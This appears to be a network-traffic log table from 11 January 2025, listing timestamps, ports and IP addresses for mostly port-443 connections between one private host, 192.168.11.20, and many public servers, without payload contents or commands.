Jan 11, 2025 07:54:31.224407911 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.225661993 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.225702047 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.225838900 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.225851059 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.225907087 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.226084948 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.226447105 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.226643085 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.226811886 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.227257967 CET	53302	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.227293015 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.227466106 CET	53302	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.227627993 CET	53302	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.227650881 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.228287935 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.228331089 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.228493929 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.228493929 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.228598118 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.228624105 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.228775978 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.230015993 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.230057001 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.230237961 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.230259895 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.230393887 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.230433941 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.230511904 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.231549978 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.231599092 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.231755018 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.231794119 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.231873989 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.232026100 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.233227015 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.233268976 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.233416080 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.233586073 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.233624935 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.233649015 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.234087944 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.234316111 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.234355927 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.234369040 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.234697104 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.234889984 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.235033989 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.235136032 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.235188007 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:31.235219002 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:31.315941095 CET	49769	80	192.168.11.20	94.23.158.211
Jan 11, 2025 07:54:31.398823023 CET	443	63290	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.399230957 CET	63290	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.399260998 CET	443	63290	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.400291920 CET	443	63290	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.400669098 CET	63290	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.400938034 CET	443	63290	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.454869986 CET	63290	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.474648952 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.474972963 CET	53302	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.474996090 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.476483107 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.476931095 CET	53302	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:31.477225065 CET	443	53302	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:31.517154932 CET	53302	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:32.108527899 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:32.137840033 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:32.150259972 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:32.178231001 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:32.234818935 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.234873056 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:32.235037088 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.235234976 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.235259056 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:32.316901922 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:32.317022085 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:32.317159891 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:32.317553043 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:32.317594051 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:32.394123077 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:32.394330025 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:32.394551039 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:32.395360947 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:32.395392895 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:32.457535982 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.457582951 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.457705021 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.457920074 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.457953930 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.641084909 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:32.641103029 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:32.641355038 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:32.641467094 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:32.641479015 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:32.666105986 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:32.667982101 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.667989016 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:32.668924093 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:32.669292927 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.671469927 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.671574116 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:32.673034906 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.673043013 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:32.673084974 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.673120022 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:32.699259996 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.699678898 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.699691057 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.700047970 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.700462103 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.700541973 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.700546980 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.700565100 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.717003107 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:32.748963118 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.760426998 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:32.760462999 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:32.760637045 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:32.760781050 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:32.760806084 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:32.892221928 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:32.892728090 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:32.892751932 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:32.893641949 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:32.893675089 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:32.893930912 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:32.894078016 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:32.894100904 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:32.894659042 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:32.894887924 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:32.898720026 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:32.898741007 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:32.898755074 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:32.898792982 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:32.898890972 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:32.898926020 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:32.899019957 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:32.899040937 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:32.899141073 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:32.899161100 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:32.899251938 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:32.899270058 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:32.899280071 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:32.899333954 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:32.899353981 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:32.899738073 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:32.899832964 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:32.899957895 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:32.955442905 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:32.955466986 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:32.996932983 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.997033119 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:32.997157097 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.997554064 CET	54685	443	192.168.11.20	108.159.227.71
Jan 11, 2025 07:54:32.997575045 CET	443	54685	108.159.227.71	192.168.11.20
Jan 11, 2025 07:54:33.001243114 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:33.011945963 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:33.012026072 CET	443	64740	13.89.179.10	192.168.11.20
Jan 11, 2025 07:54:33.012305975 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:33.012305975 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:33.012305975 CET	64740	443	192.168.11.20	13.89.179.10
Jan 11, 2025 07:54:33.119884014 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.119919062 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.120130062 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.120291948 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.120316029 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.124957085 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:33.125185013 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:33.125299931 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:33.125327110 CET	443	53665	23.33.85.243	192.168.11.20
Jan 11, 2025 07:54:33.125344992 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:33.125540018 CET	53665	443	192.168.11.20	23.33.85.243
Jan 11, 2025 07:54:33.128530025 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:33.128948927 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:33.128973961 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:33.129715919 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:33.130162954 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:33.130291939 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:33.130314112 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:33.130362034 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:33.134351969 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.134388924 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.134582043 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.134722948 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.134748936 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.150490999 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.150816917 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:33.150835037 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.151258945 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.151540041 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.151565075 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.152713060 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.152909040 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:33.154093981 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:33.154094934 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.154190063 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:33.154198885 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.154292107 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.154306889 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.155292988 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.155363083 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.155379057 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.155472040 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.164328098 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.164367914 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.164549112 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.164658070 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.164674997 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.181756020 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:33.202681065 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.202699900 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:33.202707052 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.202721119 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.248594999 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:33.248661041 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.271595001 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.272012949 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.272039890 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.272505045 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.272778988 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.272802114 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.274916887 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.274964094 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.275187969 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.275213957 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.275242090 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.275445938 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.276421070 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.276524067 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.276572943 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.276587963 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.276593924 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.276616096 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.276628971 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.276726007 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.288559914 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.288604975 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.288803101 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.289335012 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.289361954 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.326397896 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.326436996 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.327477932 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.327497959 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.372284889 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.379251003 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.380743980 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.381056070 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.381213903 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:33.381617069 CET	53719	443	192.168.11.20	151.101.1.44
Jan 11, 2025 07:54:33.381645918 CET	443	53719	151.101.1.44	192.168.11.20
Jan 11, 2025 07:54:33.387273073 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.387409925 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.387573957 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.390069008 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.390419006 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.390458107 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.393305063 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.393587112 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.394663095 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.394704103 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.394731998 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.394917965 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.397881031 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.397881031 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.397926092 CET	443	54856	64.74.236.223	192.168.11.20
Jan 11, 2025 07:54:33.398186922 CET	54856	443	192.168.11.20	64.74.236.223
Jan 11, 2025 07:54:33.418328047 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:33.418472052 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:33.418704033 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:33.419121027 CET	58048	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:33.419159889 CET	443	58048	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:33.423152924 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.423438072 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.423474073 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.426356077 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.426980972 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.428864002 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.428961039 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.428993940 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.429140091 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.449068069 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.449105024 CET	443	64133	23.78.12.23	192.168.11.20
Jan 11, 2025 07:54:33.472585917 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.472955942 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.473187923 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.480931997 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.480967999 CET	443	62695	104.19.129.76	192.168.11.20
Jan 11, 2025 07:54:33.496934891 CET	64133	443	192.168.11.20	23.78.12.23
Jan 11, 2025 07:54:33.504353046 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:33.504401922 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:33.504646063 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:33.504738092 CET	59486	443	192.168.11.20	172.241.51.69
Jan 11, 2025 07:54:33.504759073 CET	443	59486	172.241.51.69	192.168.11.20
Jan 11, 2025 07:54:33.524915934 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.525084972 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.525234938 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.525444031 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.525444031 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.525485992 CET	443	50462	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.525825977 CET	50462	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.526006937 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.526047945 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.526164055 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.526302099 CET	49210	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:33.526333094 CET	443	49210	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:33.527867079 CET	62695	443	192.168.11.20	104.19.129.76
Jan 11, 2025 07:54:33.528157949 CET	64664	443	192.168.11.20	13.107.42.14
Jan 11, 2025 07:54:33.528193951 CET	443	64664	13.107.42.14	192.168.11.20
Jan 11, 2025 07:54:33.557836056 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.558456898 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.558495045 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.561357021 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.561611891 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.562915087 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.563077927 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.563112020 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.563185930 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.565633059 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.565937042 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.565973997 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.568722963 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.568942070 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.570009947 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.570085049 CET	51950	443	192.168.11.20	52.223.22.214
Jan 11, 2025 07:54:33.570103884 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.570324898 CET	443	51950	52.223.22.214	192.168.11.20
Jan 11, 2025 07:54:33.587963104 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.588020086 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:33.588222980 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.588339090 CET	63297	443	192.168.11.20	35.245.40.102
Jan 11, 2025 07:54:33.588361025 CET	443	63297	35.245.40.102	192.168.11.20
Jan 11, 2025 07:54:33.606653929 CET	61880	443	192.168.11.20	34.235.241.123
Jan 11, 2025 07:54:33.606694937 CET	443	61880	34.235.241.123	192.168.11.20
Jan 11, 2025 07:54:33.619468927 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.619520903 CET	443	63999	35.208.249.213	192.168.11.20
Jan 11, 2025 07:54:33.619661093 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.619851112 CET	63999	443	192.168.11.20	35.208.249.213
Jan 11, 2025 07:54:33.619874954 CET	443	63999	35.208.249.213	192.168.11.20
